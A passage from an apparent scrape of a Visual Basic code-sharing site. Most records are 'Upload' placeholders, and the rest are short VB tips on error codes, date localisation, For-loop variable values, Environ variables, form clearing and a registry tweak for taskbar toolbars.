of the RPC stub. \n1898 The group member was not found. \n1899 The endpoint mapper database could not be created. \n1900 The object universal unique identifier (UUID) is the nil UUID. \n1901 The specified time is invalid. \n1902 The specified Form name is invalid. \n1903 The specified Form size is invalid \n1904 The specified Printer handle is already being waited on \n1905 The specified Printer has been deleted \n1906 The state of the Printer is invalid \n1907 The user must change his password before he logs on the first time. \n1908 Could not find the domain controller for this domain. \n1909 The referenced account is currently locked out and may not be logged on to. \n2000 The pixel format is invalid. \n2001 The specified driver is invalid. \n2002 The window style or class attribute is invalid for this operation. \n2003 The requested metafile operation is not supported. \n2004 The requested transformation operation is not supported. \n2005 The requested clipping operation is not supported. \n2202 The specified username is invalid. \n2250 This network connection does not exist. \n2401 This network connection has files open or requests pending. \n2402 Active connections still exist. \n2404 The device is in use by an active process and cannot be disconnected. \n3000 The specified print monitor is unknown. \n3001 The specified printer driver is currently in use. \n3002 The spool file was not found. \n3003 A StartDocPrinter call was not issued. \n3004 An AddJob call was not issued. \n3005 The specified print processor has already been installed. \n3006 The specified print monitor has already been installed. \n4000 WINS encountered an error while processing the command. \n4001 The local WINS can not be deleted. \n4002 The importation from the file failed. \n4003 The backup Failed. Was a full backup done before ? \n4004 The backup Failed. Check the directory that you are backing the database to. \n4005 The name does not exist in the WINS database. \n4006 Replication with a non-configured partner is not allowed. \n6118 The list of servers for this workgroup is not currently available \n\n"},{"WorldId":1,"id":48439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48446,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48454,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48460,"LineNumber":1,"line":"'You need a command button (Command1) \n'Also a textbox (Text1) \nPrivate Sub Command1_Click() \n If IsNumeric(Text1.Text) Then \n MsgBox \"Thankyou for entering a number\" \n Else: MsgBox \"Please enter a number\" \nEnd If \nEnd Sub "},{"WorldId":1,"id":48461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48472,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n Dim Height As String\n Dim Width As String\n Dim Top As String\n Dim Left As String\n Randomize\n Height = Int(Rnd * 10000)\n Width = Int(Rnd * 10000)\n Top = Int(Rnd * Screen.Height)\n Left = Int(Rnd * Screen.Width)\n Form1.Height = Height\n Form1.Width = Width\n Form1.Top = Top\n Form1.Left = Left\nEnd Sub"},{"WorldId":1,"id":48474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48476,"LineNumber":1,"line":"Public Function GetAllFormNames(doc As HTMLDocument, Form As Integer) As String\n\n Dim innames(20) As String\n\n Dim max As Integer\n \n max = doc.Forms(Form).length\n \n For i = 0 To max\n\nIf Not (doc.Forms(Form).Item(i) Is Nothing) Then\n\ninnames(i) = doc.Forms(Form).Item(i).name \n \n Debug.Print innames(i)\n\n End If\n\n Next i\n\nEnd Function"},{"WorldId":1,"id":48480,"LineNumber":1,"line":"'This to change it to Uppercase while typing\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\n KeyAscii = Asc(UCase(Chr(KeyAscii)))\nEnd Sub\n'This to change it to Lower case while typing\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\n KeyAscii = Asc(LCase(Chr(KeyAscii)))\nEnd Sub"},{"WorldId":1,"id":48486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47822,"LineNumber":1,"line":"\nDATE INTERNATIONALI(S|Z)ATION\n\nThis was inspired by a recent upload which ran into a problem with the way VB struggles to work out if dates are legal. \nThe upload was from Turkey and looking into the code Turkish uses a '.' separator for dates. VB is fairly tolerant of many date dividers '/\\-' but '.' confuses it. \nAs a result the upload mentioned above fails on most systems. But the following routines should get you through. \nRemember like most internationalisation (or internationalization if you're American) problems it is a pain to change your system just to test it so you have to take some of it on trust. \nThe following is based on code in Michael S. Kaplan's 'Internationalization with Visual Basic' (c)2000 Sams Publishing. \nI have simplified it a bit, see the book if your really interested, it is very detailed and very good.\n\n<pre>\nPrivate Const LOCALE_SDATE As Long = &H1D\nPrivate Const LOCALE_ILDATE As Long = &H22\n'You can find many others \n'in VB help under 'Locale Information ' No values but lots of explanations\n'or in API viewer search for 'LOCAL_' ' No explanations but has values \t\t\t\nPrivate Declare Function GetLocaleInfo Lib \"kernel32\" Alias \"GetLocaleInfoA\" ( _\n ByVal Locale As Long, _\n ByVal LCType As Long, _\n ByVal lpLCData As String, _\n ByVal cchData As Long) As Long\nPublic Function LocalizationData(ByVal LData As Long) As String\n'This is a general routine to read whatever bit of data \n'you want based on the constants fed to it as LData\n Dim stBuff As String * 255\n Dim Ret As Long\n Ret = GetLocaleInfo(1024, LData, ByVal stBuff, Len(stBuff))\n If Ret Then\n 'for systems using UniCode (Win2K+)\n LocalizationData = Left$(stBuff, Ret - 1)\n 'For Ascii systems (Pre Win2K)\n 'LocalizationData = Left$(stBuff, Ret)\n 'If you are not sure set a watch point and check whether\n 'there is a Null character on end of return or not.\n 'You want the return without the null\n 'You could also use a Function which strips nulls \n 'LocalizationData = StripNulls(Left$(stBuff, Ret))\n End If\nEnd Function\nPublic Function LocalDateDiv() As String\n' gets the date divisor\n LocalDateDiv = LocalizationData(LOCALE_SDATE)\nEnd Function\n\nPublic Function LocalDMY() As Integer\n'gets the D M Y order \n'Returns 0,1, or 2\n'0 Month -Day - Year\n'1 Day -Month - Year\n'2 Year -Month - Day\n \nLocalDMY = LocalizationData(LOCALE_ILDATE)\n \nEnd Function\nFunction StripNulls(strTest as string) as string\nStripNulls = Replace(strTest, vbNullString, \"\")\nEnd Function\n</pre>\n\nand use like this \n<pre>\nPublic Function RealDate(ByVal D As Integer, _\n ByVal M As Integer, _\n ByVal Y As Long) As Boolean\n\n Select Case LocalDMY\n Case 0 \n RealDate=IsDate(Format$(M, \"00\") & LocalDateDiv & Format$(D, \"00\") & LocalDateDiv & Y)\n Case 1 \n RealDate=IsDate(Format$(D, \"00\") & LocalDateDiv & Format$(M, \"00\") & LocalDateDiv & Y)\n Case 2 \n RealDate=IsDate(Y & LocalDateDiv & Format$(M, \"00\") & LocalDateDiv & Format$(D, \"00\")\n End Select\nEnd Function\n</pre>\n\n(c) 2003 Roger Gilchrist\n\nrojagilkrist@hotmail.com\n"},{"WorldId":1,"id":47832,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47893,"LineNumber":1,"line":"I am a VB programmer myself and switched lately to c++ and assembly programming.\nYes assembly is really hard to learn but its worth it.\nWell what do you need to start visual assembly for windows ?\nFirst of all a compiler. You get the free microsoft MASM32 linker from Hutchs page:\nhttp://www.movsd.com/ ---> MASM32 Download\nIts just 3mb big! Welcome to assembly.\nThe next thing you download is the free 1mb \nvisual assembly editor. You combine them to 1 powerfull tool. No installation required. Just copy them to your harddrive.\nYou get the visual assembly here:\nhttp://radasm.visualassembler.com/\nBoth downloads contain loads and loads of tutorials and snippets and examples source to get you started in windows programming. And once you ve seen a richtexteditor of just 10kb size you will love it.\nPlease dont flame me for posting this here, i still love vb buts sometimes its just too limited.\nUpdate: I created a fully webtutorial \"From VB to Assembler\" using Radasm with tons of scrennshots and samples for download.\nThe site is here: http://members.a1.net/ranmasaotome/main.html"},{"WorldId":1,"id":47896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44723,"LineNumber":1,"line":"You can find the source code on my web site in the \"Downloads\" section: http://www.mtekdesigns.com/"},{"WorldId":1,"id":44726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44758,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44786,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44800,"LineNumber":1,"line":"This will generate an error message \"Overflow\"\nSub Command1_Click()\nDim X As Long\nX = 2000 * 350\nEnd Sub\n'This is the solution I got from MSDN.\nSub Command1_Click()\nDim X As Long\nX = CLng(2000) * 350 Or\nX = 2000 * CLng(350)\nEnd Sub\n"},{"WorldId":1,"id":44801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44840,"LineNumber":1,"line":"'Suppose there's a form in your project and you pressed Ctrl+F5: This is the order in which the following events occurred. Thanks to Shannon for Resize event. I forgot that one.\n(1)Initialize \n(2)Load \n(3)Resize\n(4)Activate \n(5)Paint \nWhen closing a form: \n(1)QueryUnload \n(2)Unload \n(3)Terminate \n"},{"WorldId":1,"id":44842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45925,"LineNumber":1,"line":"Public Function CompactDatabase(strFileName As String) As Boolean\nDim objJro As jro.JetEngine\nDim objFileSystem As FileSystemObject\nDim strTmpFileName As String\n On Error GoTo EXIT_PROC\n \n Set objFileSystem = CreateObject(\"Scripting.FileSystemObject\")\n strTmpFileName = objFileSystem.GetSpecialFolder(TemporaryFolder).Path & \"\\\" & objFileSystem.GetFileName(strFileName)\n Set objJro = New jro.JetEngine\n \n objJro.CompactDatabase \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & strFileName, _\n \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & strTmpFileName & \";Jet OLEDB:Engine Type=5\"\n \n objFileSystem.CopyFile strTmpFileName, strFileName\n objFileSystem.DeleteFile strTmpFileName, True\n \n CompactDatabase = True\n \nEXIT_PROC:\n \n Set objFileSystem = Nothing\n Set objJro = Nothing\nEnd Function\n"},{"WorldId":1,"id":45926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45947,"LineNumber":1,"line":"Using Environ\n<ul>\n <li>Environ is a command that allows you to get system environmental \n information.</li>\n <li>It can also get any of the Environment Variables from the [System \n Properties, Advanced, Environment Variables] settings in windows.</li>\n</ul>\nSyntax: Environ(expression)\n<blockquote>\n Where expression is includes the environmental variable you wish to \n retrieve\n</blockquote>\nExample:\n<blockquote>\n Call MsgBox("Your Temp Directory is: " & Environ("Temp"), \n vbInformation, "Temp Directory Finder")\n</blockquote>\nList of Common Expressions and sample output:\n<table border=\"1\" cellpadding=\"2\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">\n <tr>\n <th width=\"25%\" height=\"19\">Expression</th>\n <th width=\"75%\" height=\"19\">What came from my computer</th>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">ALLUSERSPROFILE</td>\n <td width=\"75%\" height=\"19\">H:\\Documents and Settings\\All Users</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">APPDATA</td>\n <td width=\"75%\" height=\"19\">H:\\Documents and Settings\\ZinnaPro\\Application \n Data</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">CLIENTNAME</td>\n <td width=\"75%\" height=\"19\">Console</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">CommonProgramFiles</td>\n <td width=\"75%\" height=\"19\">H:\\Program Files\\Common Files</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">COMPUTERNAME</td>\n <td width=\"75%\" height=\"19\">LOCALHOST</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">ComSpec</td>\n <td width=\"75%\" height=\"19\">H:\\WINDOWS\\system32\\cmd.exe</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">HOMEDRIVE</td>\n <td width=\"75%\" height=\"19\">H:</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">HOMEPATH</td>\n <td width=\"75%\" height=\"19\">\\Documents and Settings\\ZinnaPro</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">LOGONSERVER</td>\n <td width=\"75%\" height=\"19\">\\\\LOCALHOST</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">NUMBER_OF_PROCESSORS</td>\n <td width=\"75%\" height=\"19\">1</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">OS</td>\n <td width=\"75%\" height=\"19\">Windows_NT</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">Path</td>\n <td width=\"75%\" height=\"19\">H:\\WINDOWS\\system32;H:\\WINDOWS;H:\\WINDOWS\\System32\\Wbem</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">PATHEXT</td>\n <td width=\"75%\" height=\"19\">.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">PROCESSOR_ARCHITECTURE</td>\n <td width=\"75%\" height=\"19\">x86</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">PROCESSOR_IDENTIFIER</td>\n <td width=\"75%\" height=\"19\">x86 Family 6 Model 6 Stepping 2, AuthenticAMD</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">PROCESSOR_LEVEL</td>\n <td width=\"75%\" height=\"19\">6</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">PROCESSOR_REVISION</td>\n <td width=\"75%\" height=\"19\">0602</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">ProgramFiles</td>\n <td width=\"75%\" height=\"19\">H:\\Program Files</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">SystemDrive</td>\n <td width=\"75%\" height=\"19\">H:</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">SystemRoot</td>\n <td width=\"75%\" height=\"19\">H:\\WINDOWS</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">TEMP</td>\n <td width=\"75%\" height=\"19\">H:\\DOCUME~1\\ZinnaPro\\LOCALS~1\\Temp</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">TMP</td>\n <td width=\"75%\" height=\"19\">H:\\DOCUME~1\\ZinnaPro\\LOCALS~1\\Temp</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">USERDOMAIN</td>\n <td width=\"75%\" height=\"19\">LOCALHOST</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">USERNAME</td>\n <td width=\"75%\" height=\"19\">ZinnaPro</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"19\">USERPROFILE</td>\n <td width=\"75%\" height=\"19\">H:\\Documents and Settings\\ZinnaPro</td>\n </tr>\n <tr>\n <td width=\"25%\" height=\"17\">windir</td>\n <td width=\"75%\" height=\"17\">H:\\WINDOWS</td>\n </tr>\n</table>\nFull List of variables my computer can get:\n<blockquote>\n <ul>\n <li>ALLUSERSPROFILE</li>\n <li>APPDATA</li>\n <li>CLIENTNAME</li>\n <li>CommonProgramFiles</li>\n <li>COMPUTERNAME</li>\n <li>ComSpec</li>\n <li>DRIVERNETWORKS</li>\n <li>DRIVERWORKS</li>\n <li>HOMEDRIVE</li>\n <li>HOMEPATH</li>\n <li>include</li>\n <li>lib</li>\n <li>LOGONSERVER</li>\n <li>MSDevDir</li>\n <li>NUMBER_OF_PROCESSORS</li>\n <li>OS</li>\n <li>Path</li>\n <li>PATHEXT</li>\n <li>PROCESSOR_ARCHITECTURE</li>\n <li>PROCESSOR_IDENTIFIER</li>\n <li>PROCESSOR_LEVEL</li>\n <li>PROCESSOR_REVISION</li>\n <li>ProgramFiles</li>\n <li>SESSIONNAME</li>\n <li>SystemDrive</li>\n <li>SystemRoot</li>\n <li>TEMP</li>\n <li>TMP</li>\n <li>USERDOMAIN</li>\n <li>USERNAME</li>\n <li>USERPROFILE</li>\n <li>VTOOLSD</li>\n <li>windir</li>\n </ul>\n</blockquote>\nCode used to get all variables:\n<blockquote>\n Dim environinfo as string 'Declare environinfo \n variable as string \n On Error goto done 'If an error occurs then goto \n end (error expected due to large for loop) \n environinfo = "" 'Set our variable to nothing \n For i = 1 To 200 'Do a large for loop and try 200 \n environmental indexes augmenting i by 1 \n environinfo = environinfo & Environ(i) & vbCrLf\n 'Augment variable and add put on separate lines \n Next i 'Loop until i is 200 \n \n done: 'Where to go on error, means we are done in this \n case \n clipboard.settext environinfo 'Copy our variable \n information to clipboard \n Call MsgBox("Your Environment Variables have been copied to clipboard", \n vbInformation, "Environs Found") 'alert the user that \n the variables are in clipboard \n \n</blockquote>\n"},{"WorldId":1,"id":45949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45980,"LineNumber":1,"line":"Public Sub ClearForm(frm As Form) 'Pass a form name to it\n Dim sMask As String\n For Each Control In frm.Controls\n If TypeOf Control Is TextBox Or TypeOf Control Is ComboBox Then\n Control.Text = \"\" 'Clear text\n End If\n If TypeOf Control Is MaskEdBox Then\n With Control\n sMask = .Mask 'Save the existing mask\n .Mask = \"\" 'Clear mask\n .Text = \"\" 'Clear text\n .Mask = sMask 'Reset mask\n End With\n End If\n If TypeOf Control Is DTPicker Then\n Control.Date = Date 'Set to current date\n End If\n Next Control\nEnd Sub"},{"WorldId":1,"id":45981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46011,"LineNumber":1,"line":"\nDon't Test 'For' Variables outside the 'For' Structure\n\n \nIt is rarely wise to depend on the value of a 'For' variable once you have gone past the 'Next' line. \nThe basic rule is that on exiting the 'For' Structure,the variable's value will be the last value of the \"For' counter variable PLUS the Step value (1 if you don't specify a Step value).\nBut you cannot always be sure what that exit value will be, as something in the loop may change it in unexpected ways or you may not realize what the last value really is as a Step may exit earlier than your 'To' statement indicates. \nThe following assumes you have not deliberately coded to exit a 'For' structure early.\n\nThis is the simplest case.\n\n<pre>\nPrivate Sub Command1_Click()\nDim X As Long\nDim count As Long\nFor X = 1 To 10 \ncount = count + 1\nNext\nCommand1.Caption = count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"10 11\"\n \nWhy?\n \n10 because the 'For' structure will hit 10 times \n \n11 because X = 10 + 1 (last_counter_value(=last_'To'_value)) plus (step_size)\n\nif you use a negative Step value then\n<pre>\nPrivate Sub Command1_Click()\nDim X As Long\nDim count As Long\nFor X = 10 To 1 Step -1\ncount = count + 1\nNext\nCommand1.Caption = count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"10 0\"\n \nWhy?\n \n10 because the 'For' structure will hit 10 times \n \n0 because X = 1 + -1 (last_counter_fitted(=last_'To'_value)) plus (step_size)\n\nIf you use a Step value the results are slightly more complex;\n\n<pre>\nPrivate Sub Command2_Click()\nDim X As Long\nDim count As Long\nFor X = 1 To 10 Step 4\ncount = count + 1\nNext\nCommand2.Caption = count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"3 13\"\n \nWhy?\n \n3 because '1 To 10' contains 3 values (1, 5, 9) with Step 4 spacing \n \n13 because X = 9 + 4 (last_counter_fitted(=last_value_that_fitted)) plus (step_size)\n\nNegative case;\n\n<pre>\nPrivate Sub Command2_Click()\nDim X As Long\nDim count As Long\nFor X = 10 To 1 Step -4\ncount = count + 1\nNext\nCommand2.Caption = count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"3 -2\"\n \nWhy?\n \n3 because '1 To 10' contains 3 values (10, 6, 2) with Step 4 spacing \n \n-2 because X = 2 + -4 (last_counter_fitted(=last_value_that_fitted)) plus (step_size)\n \nNOTE\n \nIf the 1st 'To' value exceeds the 2nd and you don't use a negative Step value then you never enter the 'For' structure and the fall through values will be the 1st 'To' value and count = 0, It is entering the 'For' Structure which adds the Step value so it is not added in this case. \n<pre>\nPrivate Sub Command3_Click()\nDim X As Long\nDim count As Long\nFor X = 10 To 1\ncount = count + 1\nNext\nCommand3.Caption = count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"0 10\" \n \nWhy?\n \n0 because the 'For' structure is never entered \n \n10 because X = first member of 'To' statement and immediately skips the 'To' structure as it is greater than 2nd member. \nOnly entering the 'For' structure adds the step value.\n\nOR if you use a Negative step but a positive directed 'To' statement\n<pre>\nPrivate Sub Command1_Click()\nDim X As Long\nDim count As Long\nFor X = 1 To 10 Step -4\ncount = count + 1\nNext\nCommand1.Caption = count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"0 1\" \n \nWhy?\n \n0 because the 'For' structure is never entered \n \n1 because X = first member of 'To' statement and immediately skips the 'To' structure as it is greater than 2nd member. \nOnly entering the 'For' structure adds the step value.\n\nFinally, changing the value of a 'For' Variable inside the 'For' structure may cause the value of the variable to exceed the limits of the range set in the 'To' part of the structure. The code then falls out of the 'For' Structure and continues on with whatever value caused the violation PLUS the step value. \n<pre>\nPrivate Sub Command4_Click()\nDim X As Long\nDim Count As Long\nCount = 0\nFor X = 1 To 10\nX = 20\nCount = Count + 1\nNext\nCommand4.Caption = Count & \" \" & X\nEnd Sub\n</pre>\nThe caption will be \"1 21\"\n \nWhy?\n \n1 because the value of X will exceeds the 'To' range on the 1st cycle of the structure \n \n21 because X = 20 + 1 (last_value_set_to_X> plus (step_size).\n\nNOTE there is also the disastrous possibility of resetting X to stay inside the 'To' range and going into a permanent loop. In this case no caption will be generated, and you will have to break to escape.\n\nWhy does any of this matter?\n \nThis article arose in response to some code which was unexpectedly exiting a 'For' structure. \nIn the example above I simply assigned an excess value and you will easily see what you have done.\n \nIf you do the same by assigning a Function value to X 'X = SomeFunction(X)' you would probably also see it quickly. \nBut if you send the X to a Sub routine, you have to be careful that the Sub does not change the value of X.\n(While it seems a little unlikely that you would make this mistake imagine building a quick and dirty 'For' \nstructure to test some more complex behaviour of a control or other piece of code.)\n \nAssume you have the following routine;\n<pre>\nPrivate Sub DoSomeThingWith (V as Long)\nV = V * 100/SomePublicVariable\n'and then do something else with the value V\nEnd Sub\n</pre>\n and call it from inside the 'For' structure.\n<pre>\n Private Sub Command4_Click()\nDim X As Long\nDim Count As Long\nCount = 0\nFor X = 1 To 10\nDoSomeThingWith X1\nCount = Count + 1\nNextSomePublicVariable\nCommand4.Caption = Count & \" \" & X\nEnd Sub</pre>\nThis will almost certainly exit unexpectedly unless SomePublicVariable happens to be 100; it could also lead to a perpetual loop if X keeps resetting to stay with in the 'To' range.\n \nHere are 3 ways to avoid unexpected exits from a 'For' Structure in these circumstances;\n \n1) Inside the 'For' Structure use a second variable to pass the value of X into the Sub \n<pre>\nPrivate Sub Command4_Click()\nDim X As Long\nDim X1 As Long\nDim Count As Long\nCount = 0\nFor X = 1 To 10\nX1 = X\nDoSomeThingWith X1\nCount = Count + 1\nNext\nCommand4.Caption = Count & \" \" & X\nEnd Sub</pre> \n\t\t\t\t\t \n2) In the called routine use a local variable and apply any changes to it.\n<pre>\nPrivate Sub DoSomeThingWith (V as Long)\nDim LocalV as long\nLocalV = V * 100/SomePublicVariable\n'and then do something else with the value LocalV\nEnd Sub\n</pre>\n3) Use byVal in the parameter. This allows the Sub to use the value of V but will not change it.\n<pre>\nPrivate Sub DoSomeThingWith (byVal V as Long)\nV = V * 100/SomePublicVariable\n'and then do something else with the value V\nEnd Sub\n</pre>\t\t \t\t\t\t\t \n\nI would recommend the 3rd method, as it is the safest and auto-complete will remind you that the value will not change whenever you type a call to the Sub. \n Of course if you are just testing and (normally) want the variable to change use method 1. \n Method 2 is the worst, you may forget to remove it after testing, auto-complete won't tell you that the variable will be unchanged, and you may expect/require it to change.\n\nhope this was useful. \n"},{"WorldId":1,"id":46019,"LineNumber":1,"line":"A very usefull and fast tip to resize your controlls on any form, just hold down the \"SHIFT\" key and controll the size by pressing Up-Down-Left-Right arrow keys on your keyboard to resize any control, to move them hold down the CTRL key and again move them by pressing Up-Down-Left-Right arrow keys on your keyboard, i hope you will like this small tip ..."},{"WorldId":1,"id":46026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46033,"LineNumber":1,"line":"I came across this tweak quite by accident while I was researching how to create my own toolbars, but did you know that you can add toolbars to the Windows taskbar?\nIt seems to work seamlessly - If no web browser is open it will open an instance at the Google results page. The technique does not work for all Explorer Toolbars however. I suspect that it will only work for toolbars compiled with the ATL toolbars template as toolbars that have been created with Delphi do no instanciate as a deskband object, nor do they support skinning.\nThe secret is to add a registry entry to the google toolbar CLSID for Implemented Categories.\nThe secret is to add an entry for an Implemented Category for a DeskBand object.\nHKCR\\{Google Toolbar GUID}\\Implemented Categories\\{00021492-0000-0000-C000-000000000046}\nWhere \"{00021492-0000-0000-C000-000000000046}\" is the Deskband class GUID.\nTo do this on your own computer, open your registry editor and navigate to the Google's toolbar CLSID value under the HKEY_CLASSES_ROOT\\CLSID Key. On my computer it has the value of \"{2318C2B1-4965-11d4-9B18-009027A5CD4F}\" but this may vary with the version of the toolbar that you have installed on your computer.\nCreate a new Key value under the above key and name it \"Implemented Categories\".\nUnder this new key also create another key with the name of \"{00021492-0000-0000-C000-000000000046}\" and give it a default value of \"&Google\" (which is the caption that will appear in the Taskbar context menu).\nPress F5 to refresh your registry and the shell chache and when that has finished right-click on your Windows taskbar and the Google toolbar will appear in the list of available Taskbar toolbars.\nOne cavent is that you cannot park Taskbar on the desktop - It resizes to an unusable size and does not display the search box or buttons.\nEnjoy your surfing.\nNote: This tweak will not work for the new Google Toolbar beta 2.x. I have written to them to request this functionallity. Please visit toolbar.google.com to register your request for 